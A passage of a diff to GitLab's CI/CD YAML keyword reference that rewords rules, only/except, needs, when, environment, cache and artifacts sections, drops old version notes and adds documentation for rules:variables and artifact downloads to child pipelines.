true`). - If `Dockerfile` has not changed, do not add job to any pipeline (same as `when: never`). To use `rules: changes` with branch pipelines instead of merge request pipelines, @@ -1340,7 +1331,7 @@ rules: To implement a rule similar to [`except:changes`](#onlychangesexceptchanges), use `when: never`. -CAUTION: **Caution:** +WARNING: You can use `rules: changes` with other pipeline types, but it is not recommended because `rules: changes` always evaluates to true when there is no Git `push` event. Tag pipelines, scheduled pipelines, and so on do **not** have a Git `push` event @@ -1350,14 +1341,7 @@ if there is no `if:` statement that limits the job to branch or merge request pi ##### Variables in `rules:changes` > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34272) in GitLab 13.6. -> - It was [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. -> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/267192) in GitLab 13.6. -> - It's enabled on GitLab.com. -> - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-variables-support-in-ruleschanges). **(CORE ONLY)** - -CAUTION: **Warning:** -This feature might not be available to you. Check the **version history** note above for details. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/267192) in GitLab 13.7. Environment variables can be used in `rules:changes` expressions to determine when to add jobs to a pipeline: @@ -1376,33 +1360,12 @@ The `$` character can be used for both variables and paths. For example, if the `$DOCKERFILES_DIR` variable exists, its value is used. If it does not exist, the `$` is interpreted as being part of a path. -###### Enable or disable variables support in `rules:changes` **(CORE ONLY)** - -Variables support in `rules:changes` is under development, but is ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can opt to disable it. - -To enable it: - -```ruby -Feature.enable(:ci_variable_expansion_in_rules_changes) -``` - -To disable it: - -```ruby -Feature.disable(:ci_variable_expansion_in_rules_changes) -``` - #### `rules:exists` > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24021) in GitLab 12.4. `exists` accepts an array of paths and matches if any of these paths exist -as files in the repository. - -For example: +as files in the repository: ```yaml job: @@ -1412,10 +1375,7 @@ job: - Dockerfile ``` -You can also use glob patterns to match multiple files in any directory within -the repository. - -For example: +You can also use glob patterns to match multiple files in any directory in the repository: ```yaml job: @@ -1432,7 +1392,7 @@ checks. After the 10,000th check, rules with patterned globs always match. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30235) in GitLab 12.8. -You can use [`allow_failure: true`](#allow_failure) within `rules:` to allow a job to fail, or a manual job to +You can use [`allow_failure: true`](#allow_failure) in `rules:` to allow a job to fail, or a manual job to wait for action, without stopping the pipeline itself. All jobs using `rules:` default to `allow_failure: false` if `allow_failure:` is not defined. @@ -1442,7 +1402,7 @@ triggered by the particular rule. ```yaml job: - script: "echo Hello, Rules!" + script: echo "Hello, Rules!" rules: - if: '$CI_MERGE_REQUEST_TARGET_BRANCH_NAME == "master"' when: manual @@ -1451,6 +1411,56 @@ job: In this example, if the first rule matches, then the job has `when: manual` and `allow_failure: true`. +#### `rules:variables` + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/209864) in GitLab 13.7. +> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. +> - It's disabled on GitLab.com. +> - It's not recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-rulesvariables). **(CORE ONLY)** + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +You can use [`variables`](#variables) in `rules:` to define variables for specific conditions. + +For example: + +```yaml +job: + variables: + DEPLOY_VARIABLE: "default-deploy" + rules: + - if: $CI_COMMIT_REF_NAME =~ /master/ + variables: # Override DEPLOY_VARIABLE defined + DEPLOY_VARIABLE: "deploy-production" # at the job level. + - if: $CI_COMMIT_REF_NAME =~ /feature/ + variables: + IS_A_FEATURE: "true" # Define a new variable. + script: + - echo "Run script with $DEPLOY_VARIABLE as an argument" + - echo "Run another script if $IS_A_FEATURE exists" +``` + +##### Enable or disable rules:variables **(CORE ONLY)** + +rules:variables is under development and not ready for production use. It is +deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:ci_rules_variables) +``` + +To disable it: + +```ruby +Feature.disable(:ci_rules_variables) +``` + #### Complex rule clauses To conjoin `if`, `changes`, and `exists` clauses with an `AND`, use them in the @@ -1458,7 +1468,7 @@ same rule. In the following example: -- If the `Dockerfile` file or any file in `/docker/scripts` has changed, and var=blah, +- If the `Dockerfile` file or any file in `/docker/scripts` has changed, and `$VAR` == "string value", then the job runs manually - Otherwise, the job isn't included in the pipeline. @@ -1471,7 +1481,7 @@ docker build: - Dockerfile - docker/scripts/* when: manual - # - when: never would be redundant here, this is implied any time rules are listed. + # - "when: never" would be redundant here. It is implied any time rules are listed. ``` Keywords such as `branches` or `refs` that are available for @@ -1491,13 +1501,13 @@ job1: if: ($CI_COMMIT_BRANCH == "master" || $CI_COMMIT_BRANCH == "develop") && $MY_VARIABLE ``` -CAUTION: **Caution:** +WARNING: [Before GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/230938), rules that use both `||` and `&&` may evaluate with an unexpected order of operations. ### `only`/`except` (basic) -NOTE: **Note:** +NOTE: The [`rules`](#rules) syntax is an improved, more powerful solution for defining when jobs should run or not. Consider using `rules` instead of `only/except` to get the most out of your pipelines. @@ -1513,11 +1523,10 @@ There are a few rules that apply to the usage of job policy: - `only` and `except` are inclusive. If both `only` and `except` are defined in a job specification, the ref is filtered by `only` and `except`. -- `only` and `except` allow the use of regular expressions ([supported regexp syntax](#supported-onlyexcept-regexp-syntax)). -- `only` and `except` allow to specify a repository path to filter jobs for - forks. +- `only` and `except` can use regular expressions ([supported regexp syntax](#supported-onlyexcept-regexp-syntax)). +- `only` and `except` can specify a repository path to filter jobs for forks. -In addition, `only` and `except` allow the use of special keywords: +In addition, `only` and `except` can use special keywords: | **Value** | **Description** | |--------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| @@ -1534,6 +1543,10 @@ In addition, `only` and `except` allow the use of special keywords: | `triggers` | For pipelines created by using a [trigger token](../triggers/README.md#trigger-token). | | `web` | For pipelines created by using **Run pipeline** button in the GitLab UI, from the project's **CI/CD > Pipelines** section. | +Scheduled pipelines run on specific branches, so jobs configured with `only: branches` +run on scheduled pipelines too. Add `except: schedules` to prevent jobs with `only: branches` +from running on scheduled pipelines. + In the example below, `job` runs only for refs that start with `issue-`, whereas all branches are skipped: @@ -1621,7 +1634,7 @@ that begin with `issue-`, but you can use `/issue-.*/`. Regular expression flags must be appended after the closing `/`. -TIP: **Tip:** +NOTE: Use anchors `^` and `$` to avoid the regular expression matching only a substring of the tag name or branch name. For example, `/^issue-.*$/` is equivalent to `/^issue-/`, @@ -1638,8 +1651,8 @@ Only a subset of features provided by [Ruby Regexp](https://ruby-doc.org/core/Re are now supported. From GitLab 11.9.7 to GitLab 12.0, GitLab provided a feature flag to -let you use the unsafe regexp syntax. This flag allowed -compatibility with the previous syntax version so you could gracefully migrate to the new syntax. +let you use unsafe regexp syntax. After migrating to safe syntax, you should disable +this feature flag again: ```ruby Feature.enable(:allow_unsafe_ruby_regexp) @@ -1647,8 +1660,8 @@ Feature.enable(:allow_unsafe_ruby_regexp) ### `only`/`except` (advanced) -GitLab supports both simple and complex strategies, so it's possible to use an -array and a hash configuration scheme. +GitLab supports multiple strategies, and it's possible to use an +array or a hash configuration scheme. Four keys are available: @@ -1789,18 +1802,18 @@ job1: Using the `changes` keyword with `only` or `except` makes it possible to define if a job should be created based on files modified by a Git push event. -The `only:changes` policy is only useful for pipelines triggered by the following -refs: +Use the `only:changes` policy for pipelines triggered by the following +refs only: - `branches` - `external_pull_requests` - `merge_requests` (see additional details about [using `only:changes` with pipelines for merge requests](#using-onlychanges-with-pipelines-for-merge-requests)) -CAUTION: **Caution:** +WARNING: In pipelines with [sources other than the three above](../variables/predefined_variables.md) `changes` can't determine if a given file is new or old and always returns `true`. -This includes pipelines triggered by pushing new tags. Configuring jobs to use `only: changes` -with other `only: refs` keywords is possible, but not recommended. +You can configure jobs to use `only: changes` with other `only: refs` keywords. However, +those jobs ignore the changes and always run. A basic example of using `only: changes`: @@ -1825,12 +1838,12 @@ the `docker build` job is created, but only if changes were made to any of the f - Any of the files and subdirectories in the `dockerfiles` directory. - Any of the files with `rb`, `py`, `sh` extensions in the `more_scripts` directory. -CAUTION: **Warning:** +WARNING: If you use `only:changes` with [only allow merge requests to be merged if the pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds), you should [also use `only:merge_requests`](#using-onlychanges-with-pipelines-for-merge-requests). Otherwise it may not work as expected. You can also use glob patterns to match multiple files in either the root directory -of the repository, or in _any_ directory within the repository. However, they must be wrapped +of the repository, or in _any_ directory in the repository. However, they must be wrapped in double quotes or GitLab can't parse them. For example: ```yaml @@ -1869,10 +1882,9 @@ With [pipelines for merge requests](../merge_request_pipelines/index.md), it's possible to define a job to be created based on files modified in a merge request. -To deduce the correct base SHA of the source branch, we recommend combining -this keyword with `only: [merge_requests]`. This way, file differences are correctly -calculated from any further commits, thus all changes in the merge requests are properly -tested in pipelines. +Use this keyword with `only: [merge_requests]` so GitLab can find the correct base +SHA of the source branch. File differences are correctly calculated from any further +commits, and all changes in the merge requests are properly tested in pipelines. For example: @@ -1937,11 +1949,11 @@ runs. > - In GitLab 12.3, maximum number of jobs in `needs` array raised from five to 50. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30631) in GitLab 12.8, `needs: []` lets jobs start immediately. -The `needs:` keyword enables executing jobs out-of-order, allowing you to implement -a [directed acyclic graph](../directed_acyclic_graph/index.md) in your `.gitlab-ci.yml`. +Use the `needs:` keyword to execute jobs out-of-order. Relationships between jobs +that use `needs` can be visualized as a [directed acyclic graph](../directed_acyclic_graph/index.md). -This lets you run some jobs without waiting for other ones, disregarding stage ordering -so you can have multiple stages running concurrently. +You can ignore stage ordering and run some jobs without waiting for others to complete. +Jobs in multiple stages can run concurrently. Let's consider the following example: @@ -2009,7 +2021,7 @@ This example creates four paths of execution: ##### Changing the `needs:` job limit **(CORE ONLY)** -The maximum number of jobs that can be defined within `needs:` defaults to 50. +The maximum number of jobs that can be defined in `needs:` defaults to 50. A GitLab administrator with [access to the GitLab Rails console](../../administration/feature_flags.md) can choose a custom limit. For example, to set the limit to 100: @@ -2127,12 +2139,59 @@ build_job: needs: - project: $CI_PROJECT_PATH job: $DEPENDENCY_JOB_NAME - ref: $CI_COMMIT_BRANCH + ref: $ARTIFACTS_DOWNLOAD_REF artifacts: true ``` Downloading artifacts from jobs that are run in [`parallel:`](#parallel) is not supported. +To download artifacts between [parent-child pipelines](../parent_child_pipelines.md) use [`needs:pipeline`](#artifact-downloads-to-child-pipelines). +Downloading artifacts from the same ref as the currently running pipeline is not +recommended because artifacts could be overridden by concurrent pipelines running +on the same ref. + +##### Artifact downloads to child pipelines + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/255983) in GitLab v13.7. + +A [child pipeline](../parent_child_pipelines.md) can download artifacts from a job in +its parent pipeline or another child pipeline in the same parent-child pipeline hierarchy. + +For example, with the following parent pipeline that has a job that creates some artifacts: + +```yaml +create-artifact: + stage: build + script: echo 'sample artifact' > artifact.txt + artifacts: + paths: [artifact.txt] + +child-pipeline: + stage: test + trigger: + include: child.yml + strategy: depend + variables: + PARENT_PIPELINE_ID: $CI_PIPELINE_ID +``` + +A job in the child pipeline can download artifacts from the `create-artifact` job in +the parent pipeline: + +```yaml +use-artifact: + script: cat artifact.txt + needs: + - pipeline: $PARENT_PIPELINE_ID + job: create-artifact +``` + +The `pipeline` attribute accepts a pipeline ID and it must be a pipeline present +in the same parent-child pipeline hierarchy of the given pipeline. + +The `pipeline` attribute does not accept the current pipeline ID (`$CI_PIPELINE_ID`). +To download artifacts from a job in the current pipeline, use the basic form of [`needs`](#artifact-downloads-with-needs). + ### `tags` Use `tags` to select a specific runner from the list of all runners that are @@ -2181,7 +2240,7 @@ The default value is `false`, except for [manual](#whenmanual) jobs using the `when: manual` syntax, unless using [`rules:`](#rules) syntax, where all jobs default to false, *including* `when: manual` jobs. -When `allow_failure` is enabled and the job fails, the job shows an orange warning in the UI. +When `allow_failure` is set to `true` and the job fails, the job shows an orange warning in the UI. However, the logical flow of the pipeline considers the job a success/passed, and is not blocked. @@ -2218,16 +2277,13 @@ failure. `when` can be set to one of the following values: -1. `on_success` - execute job only when all jobs from prior stages - succeed (or are considered succeeding because they have `allow_failure: true`). - This is the default. -1. `on_failure` - execute job only when at least one job from prior stages - fails. -1. `always` - execute job regardless of the status of jobs from prior stages. -1. `manual` - execute job manually (added in GitLab 8.10). Read about - [manual jobs](#whenmanual) below. -1. `delayed` - execute job after a certain period (added in GitLab 11.14). - Read about [delayed jobs](#whendelayed) below. +1. `on_success` (default) - Execute job only when all jobs in earlier stages succeed, + or are considered successful because they have `allow_failure: true`. +1. `on_failure` - Execute job only when at least one job in an earlier stage fails. +1. `always` - Execute job regardless of the status of jobs in earlier stages. +1. `manual` - Execute job [manually](#whenmanual). +1. `delayed` - [Delay the execution of a job](#whendelayed) for a specified duration. + Added in GitLab 11.14. 1. `never`: - With [`rules`](#rules), don't execute job. - With [`workflow:rules`](#workflowrules), don't run pipeline. @@ -2280,10 +2336,6 @@ The above script: #### `when:manual` -> - Introduced in GitLab 8.10. -> - Blocking manual jobs were introduced in GitLab 9.0. -> - Protected actions were introduced in GitLab 9.2. - A manual job is a type of job that is not executed automatically and must be explicitly started by a user. You might want to use manual jobs for things like deploying to production. @@ -2316,21 +2368,17 @@ You can use [protected branches](../../user/project/protected_branches.md) to mo In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/201938) and later, you can use `when:manual` in the same job as [`trigger`](#trigger). In GitLab 13.4 and earlier, using them together causes the error `jobs:#{job-name} when should be on_success, on_failure or always`. -It is deployed behind the `:ci_manual_bridges` [feature flag](../../user/feature_flags.md), which is **enabled by default**. -[GitLab administrators with access to the Rails console](../../administration/feature_flags.md) -can opt to disable it. ##### Protecting manual jobs **(PREMIUM)** -It's possible to use [protected environments](../environments/protected_environments.md) -to define a precise list of users authorized to run a manual job. By allowing only -users associated with a protected environment to trigger manual jobs, it's possible -to implement some special use cases, such as: +Use [protected environments](../environments/protected_environments.md) +to define a list of users authorized to run a manual job. You can authorize only +the users associated with a protected environment to trigger manual jobs, which can: -- More precisely limiting who can deploy to an environment. -- Enabling a pipeline to be blocked until an approved user "approves" it. +- More precisely limit who can deploy to an environment. +- Block a pipeline until an approved user "approves" it. -To do this, you must: +To protect a manual job: 1. Add an `environment` to the job. For example: @@ -2353,17 +2401,17 @@ To do this, you must: this list can trigger this manual job, as well as GitLab administrators who are always able to use protected environments. -Additionally, if you define a manual job as blocking by adding `allow_failure: false`, -the pipeline's next stages don't run until the manual job is triggered. You can use this -to define a list of users allowed to "approve" later pipeline -stages by triggering the blocking manual job. +You can use protected environments with blocking manual jobs to have a list of users +allowed to approve later pipeline stages. Add `allow_failure: false` to the protected +manual job and the pipeline's next stages only run after the manual job is triggered +by authorized users. #### `when:delayed` > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/51352) in GitLab 11.4. -Delayed job are for executing scripts after a certain period. -This is useful if you want to avoid jobs entering `pending` state immediately. +Use `when: delayed` to execute scripts after a waiting period, or if you want to avoid +jobs immediately entering the `pending` state. You can set the period with `start_in` key. The value of `start_in` key is an elapsed time in seconds, unless a unit is provided. `start_in` key must be less than or equal to one week. Examples of valid values include: @@ -2375,7 +2423,7 @@ provided. `start_in` key must be less than or equal to one week. Examples of val - `1 week` When there is a delayed job in a stage, the pipeline doesn't progress until the delayed job has finished. -This means this keyword can also be used for inserting delays between different stages. +This keyword can also be used for inserting delays between different stages. The timer of a delayed job starts immediately after the previous stage has completed. Similar to other types of jobs, a delayed job's timer doesn't start unless the previous stage passed. @@ -2398,11 +2446,7 @@ Soon GitLab Runner picks up and starts the job. ### `environment` -> - Introduced in GitLab 8.9. -> - You can read more about environments and find more examples in the -> [documentation about environments](../environments/index.md). - -`environment` is used to define that a job deploys to a specific environment. +Use `environment` to define the [environment](../environments/index.md) that a job deploys to. If `environment` is specified and no environment under that name exists, a new one is created automatically. @@ -2420,13 +2464,10 @@ deployment to the `production` environment. #### `environment:name` -> - Introduced in GitLab 8.11. -> - Before GitLab 8.11, the name of an environment could be defined as a string like -> `environment: production`. The recommended way now is to define it under the -> `name` keyword. -> - The `name` keyword can use any of the defined CI variables, -> including predefined, secure variables and `.gitlab-ci.yml` [`variables`](#variables). -> You however can't use variables defined under `script`. +The `environment: name` keyword can use any of the defined CI variables, +including predefined, secure, or `.gitlab-ci.yml` [`variables`](#variables). + +You can't use variables defined in a `script` section. The `environment` name can contain: @@ -2457,12 +2498,10 @@ deploy to production: #### `environment:url` -> - Introduced in GitLab 8.11. -> - Before GitLab 8.11, the URL could be added only in GitLab's UI. The -> recommended way now is to define it in `.gitlab-ci.yml`. -> - The `url` keyword can use any of the defined CI variables, -> including predefined, secure variables and `.gitlab-ci.yml` [`variables`](#variables). -> You however can't use variables defined under `script`. +The `url` keyword can use any of the defined CI variables, +including predefined, secure, or `.gitlab-ci.yml` [`variables`](#variables). + +You can't use variables defined in a `script` section. This optional value exposes buttons that take you to the defined URL @@ -2531,15 +2570,15 @@ environment. A new `stop_review_app` job is listed under `on_stop`. After the `review_app` job is finished, it triggers the `stop_review_app` job based on what is defined under `when`. In this case, it is set to `manual`, so it needs a [manual action](#whenmanual) from -GitLab's user interface to run. +the GitLab UI to run. Also in the example, `GIT_STRATEGY` is set to `none`. If the `stop_review_app` job is [automatically triggered](../environments/index.md#automatically-stopping-an-environment), the runner won’t try to check out the code after the branch is deleted. The example also overwrites global variables. If your `stop` `environment` job depends -on global variables, you can use [anchor variables](#yaml-anchors-for-variables) when you set the `GIT_STRATEGY`. -This changes the job without overriding the global variables. +on global variables, use [anchor variables](#yaml-anchors-for-variables) when you set the `GIT_STRATEGY` +to change the job without overriding the global variables. The `stop_review_app` job is **required** to have the following keywords defined: @@ -2604,7 +2643,7 @@ environment, using the `production` For more information, see [Available settings for `kubernetes`](../environments/index.md#configuring-kubernetes-deployments). -NOTE: **Note:** +NOTE: Kubernetes configuration is not supported for Kubernetes clusters that are [managed by GitLab](../../user/project/clusters/index.md#gitlab-managed-clusters). To follow progress on support for GitLab-managed clusters, see the @@ -2612,11 +2651,7 @@ To follow progress on support for GitLab-managed clusters, see the #### Dynamic environments -> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/21971) in GitLab 8.12 and GitLab Runner 1.6. -> - The `$CI_ENVIRONMENT_SLUG` was [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/22864) in GitLab 8.15. -> - The `name` and `url` keywords can use any of the defined CI variables, -> including predefined, secure variables and `.gitlab-ci.yml` [`variables`](#variables). -> You however can't use variables defined under `script`. +Use CI/CD [variables](../variables/README.md) to dynamically name environments. For example: @@ -2629,36 +2664,27 @@ deploy as review app: url: https://$CI_ENVIRONMENT_SLUG.example.com/ ``` -The `deploy as review app` job is marked as deployment to dynamically -create the `review/$CI_COMMIT_REF_NAME` environment, where `$CI_COMMIT_REF_NAME` +The `deploy as review app` job is marked as a deployment to dynamically +create the `review/$CI_COMMIT_REF_NAME` environment. `$CI_COMMIT_REF_NAME` is an [environment variable](../variables/README.md) set by the runner. The `$CI_ENVIRONMENT_SLUG` variable is based on the environment name, but suitable -for inclusion in URLs. In this case, if the `deploy as review app` job is run -in a branch named `pow`, this environment would be accessible with an URL like -`https://review-pow.example.com/`. - -This implies that the underlying server that hosts the application -is properly configured. +for inclusion in URLs. If the `deploy as review app` job runs in a branch named +`pow`, this environment would be accessible with a URL like `https://review-pow.example.com/`. The common use case is to create dynamic environments for branches and use them -as Review Apps. You can see a simple example using Review Apps at +as Review Apps. You can see an example that uses Review Apps at <https://gitlab.com/gitlab-examples/review-apps-nginx/>. ### `cache` -> - Introduced in GitLab Runner v0.7.0. -> - `cache` can be set globally and per-job. -> - From GitLab 9.0, caching is enabled and shared between pipelines and jobs -> by default. -> - From GitLab 9.2, caches are restored before [artifacts](#artifacts). - `cache` is used to specify a list of files and directories that should be -cached between jobs. You can only use paths that are within the local working -copy. +cached between jobs. You can only use paths that are in the local working copy. If `cache` is defined outside the scope of jobs, it means it's set globally and all jobs use that definition. +Caching is shared between pipelines and jobs. Caches are restored before [artifacts](#artifacts). + Read how caching works and find out some good practices in the [caching dependencies documentation](../caching/index.md). @@ -2707,17 +2733,15 @@ Otherwise cache content can be overwritten. #### `cache:key` -> Introduced in GitLab Runner v1.0.0. - The `key` keyword defines the affinity of caching between jobs. You can have a single cache for all jobs, cache per-job, cache per-branch, -or any other way that fits your workflow. This way, you can fine tune caching, +or any other way that fits your workflow. You can fine tune caching, including caching data between different jobs or even different branches. The `cache:key` variable can use any of the [predefined variables](../variables/README.md). The default key, if not set, is just literal `default`, which means everything is shared between -pipelines and jobs by default, starting from GitLab 9.0. +pipelines and jobs by default. For example, to enable per-branch caching: @@ -2810,7 +2834,7 @@ If neither file was changed in any commits, the prefix is added to `default`, so key in the example would be `test-default`. Like `cache:key`, `prefix` can use any of the [predefined variables](../variables/README.md), -but the following are not allowed: +but cannot include: - the `/` character (or the equivalent URI-encoded `%2F`) - a value made only of `.` (or the equivalent URI-encoded `%2E`) @@ -2867,9 +2891,9 @@ rspec: `cache:when` defines when to save the cache, based on the status of the job. You can set `cache:when` to: -- `on_success` - save the cache only when the job succeeds. This is the default. -- `on_failure` - save the cache only when the job fails. -- `always` - save the cache regardless of the job status. +- `on_success` (default): Save the cache only when the job succeeds. +- `on_failure`: Save the cache only when the job fails. +- `always`: Always save the cache. For example, to store a cache whether or not the job fails or succeeds: @@ -2884,17 +2908,14 @@ rspec: #### `cache:policy` -> Introduced in GitLab 9.4. - The default behavior of a caching job is to download the files at the start of execution, and to re-upload them at the end. Any changes made by the job are persisted for future runs. This behavior is known as the `pull-push` cache policy. If you know the job does not alter the cached files, you can skip the upload step -by setting `policy: pull` in the job specification. Typically, this would be -twinned with an ordinary cache job at an earlier stage to ensure the cache -is updated from time to time: +by setting `policy: pull` in the job specification. You can add an ordinary cache +job at an earlier stage to ensure the cache is updated from time to time: ```yaml stages: @@ -2921,9 +2942,8 @@ rspec: - bundle exec rspec ... ``` -This helps to speed up job execution and reduce load on the cache server. -It is especially helpful when you have a large number of cache-using jobs executing in -parallel. +The `pull` policy speeds up job execution and reduces load on the cache server. It +can be used when you have many jobs that use caches executing in parallel. If you have a job that unconditionally recreates the cache without referring to its previous contents, you can skip the download step. @@ -2931,12 +2951,6 @@ To do so, add `policy: push` to the job. ### `artifacts` -> - Introduced in GitLab Runner v0.7.0 for non-Windows platforms. -> - Windows support was added in GitLab Runner v.1.0.0. -> - From GitLab 9.2, caches are restored before artifacts. -> - Not all executors are [supported](https://docs.gitlab.com/runner/executors/#compatibility-chart). -> - Job artifacts are only collected for successful jobs by default. - `artifacts` is used to specify a list of files and directories that are attached to the job when it [succeeds, fails, or always](#artifactswhen). @@ -2944,6 +2958,11 @@ The artifacts are sent to GitLab after the job finishes. They are available for download in the GitLab UI if the size is not larger than the [maximum artifact size](../../user/gitlab_com/index.md#gitlab-cicd). +Job artifacts are only collected for successful jobs by default, and +artifacts are restored after [caches](#cache). + +[Not all executors can use caches](https://docs.gitlab.com/runner/executors/#compatibility-chart). + [Read more about artifacts](../pipelines/job_artifacts.md). #### `artifacts:paths` @@ -3079,11 +3098,8 @@ Note the following: #### `artifacts:name` -> Introduced in GitLab 8.6 and GitLab Runner v1.1.0. - Use the `name` directive to define the name of the created artifacts -archive. You can specify a unique name for every archive, which can be -useful when you want to download the archive from GitLab. The `artifacts:name` +archive. You can specify a unique name for every archive. The `artifacts:name` variable can make use of any of the [predefined variables](../variables/README.md). The default name is `artifacts`, which becomes `artifacts.zip` when you download it. @@ -3190,16 +3206,14 @@ artifacts: #### `artifacts:when` -> Introduced in GitLab 8.9 and GitLab Runner v1.3.0. - `artifacts:when` is used to upload artifacts on job failure or despite the failure. `artifacts:when` can be set to one of the following values: -1. `on_success` - upload artifacts only when the job succeeds. This is the default. -1. `on_failure` - upload artifacts only when the job fails. -1. `always` - upload artifacts regardless of the job status. +1. `on_success` (default): Upload artifacts only when the job succeeds. +1. `on_failure`: Upload artifacts only when the job fails. +1. `always`: Always upload artifacts. For example, to upload artifacts only when a job fails: @@ -3211,8 +3225,6 @@ job: #### `artifacts:expire_in` -> Introduced in GitLab 8.9 and GitLab Runner v1.3.0. - Use `expire_in` to specify how long artifacts are active before they expire and are deleted. @@ -3260,31 +3272,29 @@ in GitLab 13.4. The [`artifacts:reports` keyword](../pipelines/job_artifacts.md#artifactsreports) is used for collecting test reports, code quality reports, and security reports from jobs. -It also exposes these reports in GitLab's UI (merge requests, pipeline views, and security dashboards). +It also exposes these reports in the GitLab UI (merge requests, pipeline views, and security dashboards). These are the available report types: -| Keyword | Description | -|--------------------------------------------------------------------------------------------------------------------------------------|-------------| -| [`artifacts:reports:cobertura`](../pipelines/job_artifacts.md#artifactsreportscobertura) | The `cobertura` report collects Cobertura coverage XML files. | -| [`artifacts:reports:codequality`](../pipelines/job_artifacts.md#artifactsreportscodequality) | The `codequality` report collects CodeQuality issues. | +| Keyword | Description | +|-----------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------| +| [`artifacts:reports:cobertura`](../pipelines/job_artifacts.md#artifactsreportscobertura) | The `cobertura` report collects Cobertura coverage XML files. | +| [`artifacts:reports:codequality`](../pipelines/job_artifacts.md#artifactsreportscodequality) | The `codequality` report collects CodeQuality issues. | | [`artifacts:reports:container_scanning`](../pipelines/job_artifacts.md#artifactsreportscontainer_scanning) **(ULTIMATE)** | The `container_scanning` report collects Container Scanning vulnerabilities. | | [`artifacts:reports:dast`](../pipelines/job_artifacts.md#artifactsreportsdast) **(ULTIMATE)** | The `dast` report collects Dynamic Application Security Testing vulnerabilities. | | [`artifacts:reports:dependency_scanning`](../pipelines/job_artifacts.md#artifactsreportsdependency_scanning) **(ULTIMATE)** | The `dependency_scanning` report collects Dependency Scanning vulnerabilities. | -| [`artifacts:reports:dotenv`](../pipelines/job_artifacts.md#artifactsreportsdotenv) | The `dotenv` report collects a set of environment variables. | -| [`artifacts:reports:junit`](../pipelines/job_artifacts.md#artifactsreportsjunit) | The `junit` report collects JUnit XML files. | +| [`artifacts:reports:dotenv`](../pipelines/job_artifacts.md#artifactsreportsdotenv) | The `dotenv` report collects a set of environment variables. | +| [`artifacts:reports:junit`](../pipelines/job_artifacts.md#artifactsreportsjunit) | The `junit` report collects JUnit XML files. | | [`artifacts:reports:license_management`](../pipelines/job_artifacts.md#artifactsreportslicense_management) **(ULTIMATE)** | The `license_management` report collects Licenses (*removed from GitLab 13.0*). | | [`artifacts:reports:license_scanning`](../pipelines/job_artifacts.md#artifactsreportslicense_scanning) **(ULTIMATE)** | The `license_scanning` report collects Licenses. | -| [`artifacts:reports:load_performance`](../pipelines/job_artifacts.md#artifactsreportsload_performance) **(PREMIUM)** | The `load_performance` report collects load performance metrics. | -| [`artifacts:reports:metrics`](../pipelines/job_artifacts.md#artifactsreportsmetrics) **(PREMIUM)** | The `metrics` report collects Metrics. | -| [`artifacts:reports:performance`](../pipelines/job_artifacts.md#artifactsreportsperformance) **(PREMIUM)** | The `performance` report collects Browser Performance metrics. | +| [`artifacts:reports:load_performance`](../pipelines/job_artifacts.md#artifactsreportsload_performance) **(PREMIUM)** | The `load_performance` report collects load performance metrics. | +| [`artifacts:reports:metrics`](../pipelines/job_artifacts.md#artifactsreportsmetrics) **(PREMIUM)** | The `metrics` report collects Metrics. | +| [`artifacts:reports:performance`](../pipelines/job_artifacts.md#artifactsreportsperformance) **(PREMIUM)** | The `performance` report collects Browser Performance metrics. | | [`artifacts:reports:sast`](../pipelines/job_artifacts.md#artifactsreportssast) **(ULTIMATE)** | The `sast` report collects Static Application Security Testing vulnerabilities. | -| [`artifacts:reports:terraform`](../pipelines/job_artifacts.md#artifactsreportsterraform) | The `terraform` report collects Terraform `tfplan.json` files. | +| [`artifacts:reports:terraform`](../pipelines/job_artifacts.md#artifactsreportsterraform) | The `terraform` report collects Terraform `tfplan.json` files. | #### `dependencies` -> Introduced in GitLab 8.6 and GitLab Runner v1.1.1. - By default, all [`artifacts`](#artifacts) from previous [stages](#stages) are passed to each job. However, you can use the `dependencies` keyword to define a limited list of jobs to fetch artifacts from. You can also set a job to download no artifacts at all. @@ -3355,8 +3365,6 @@ and bring back the old behavior. ### `coverage` -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/20428) in GitLab 8.17. - Use `coverage` to configure how code coverage is extracted from the job output. @@ -3365,7 +3373,7 @@ surrounding `/` is mandatory to consistently and explicitly represent a regular expression string. You must escape special characters if you want to match them literally. -A simple example: +For example: ```yaml job1: @@ -3373,6 +3381,11 @@ job1: coverage: '/Code coverage: \d+\.\d+/' ``` +The coverage is shown in the UI if at least one line in the job output matches the regular expression. +If there is more than one matched line in the job output, the last line is used. +For the matched line, the first occurence of `\d+(\.\d+)?` is the code coverage. +Leading zeros are removed. + ### `retry` > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/3442) in GitLab 9.5. @@ -3435,7 +3448,7 @@ Possible values for `when` are: The test there makes sure that all documented values are valid as a configuration option and therefore should always stay in sync with this documentation. - --> +--> - `always`: Retry on any failure (default). - `unknown_failure`: Retry when the failure reason is unknown. @@ -3478,16 +3491,11 @@ exceed the runner-specific 